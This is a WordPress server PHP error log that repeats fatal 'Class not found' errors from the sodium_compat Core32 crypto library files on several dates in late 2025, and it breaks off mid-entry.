[22-Sep-2025 13:00:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[22-Sep-2025 13:00:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[22-Sep-2025 13:00:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[22-Sep-2025 13:00:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[22-Sep-2025 13:00:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[22-Sep-2025 13:00:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[22-Sep-2025 13:00:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[22-Sep-2025 13:00:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[22-Sep-2025 13:01:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[25-Sep-2025 22:01:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[25-Sep-2025 22:01:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[25-Sep-2025 22:02:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[25-Sep-2025 22:02:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[25-Sep-2025 22:02:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[25-Sep-2025 22:02:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[25-Sep-2025 22:02:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[25-Sep-2025 22:02:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[25-Sep-2025 22:02:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[25-Sep-2025 22:02:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[25-Sep-2025 22:02:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[25-Sep-2025 22:02:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[25-Sep-2025 22:02:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[25-Sep-2025 22:14:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[25-Sep-2025 22:14:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[25-Sep-2025 22:14:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[25-Sep-2025 22:14:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[25-Sep-2025 22:14:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[25-Sep-2025 22:14:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[25-Sep-2025 22:14:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[25-Sep-2025 22:14:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[25-Sep-2025 22:14:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[25-Sep-2025 22:14:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[25-Sep-2025 22:14:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[25-Sep-2025 22:14:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[25-Sep-2025 22:14:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Oct-2025 10:42:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Oct-2025 10:42:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Oct-2025 10:42:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Oct-2025 10:43:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Oct-2025 10:43:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Oct-2025 10:43:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Oct-2025 10:43:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Oct-2025 10:43:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Oct-2025 10:43:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Oct-2025 10:43:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Oct-2025 10:43:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Oct-2025 10:43:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Oct-2025 10:43:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Oct-2025 10:50:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Oct-2025 10:50:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Oct-2025 10:50:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Oct-2025 10:50:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Oct-2025 10:50:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Oct-2025 10:50:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Oct-2025 10:50:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Oct-2025 10:50:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Oct-2025 10:50:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Oct-2025 10:50:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Oct-2025 10:50:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Oct-2025 10:50:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Oct-2025 10:50:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Nov-2025 08:31:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Nov-2025 08:31:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Nov-2025 08:32:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Nov-2025 08:32:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Nov-2025 08:32:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Nov-2025 08:32:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Nov-2025 08:32:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Nov-2025 08:32:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Nov-2025 08:32:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Nov-2025 08:32:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Nov-2025 08:32:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Nov-2025 08:32:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Nov-2025 08:32:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Nov-2025 08:41:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Nov-2025 08:41:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Nov-2025 08:41:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Nov-2025 08:41:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Nov-2025 08:41:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Nov-2025 08:41:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Nov-2025 08:42:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Nov-2025 08:42:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Nov-2025 08:42:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Nov-2025 08:42:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Nov-2025 08:42:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
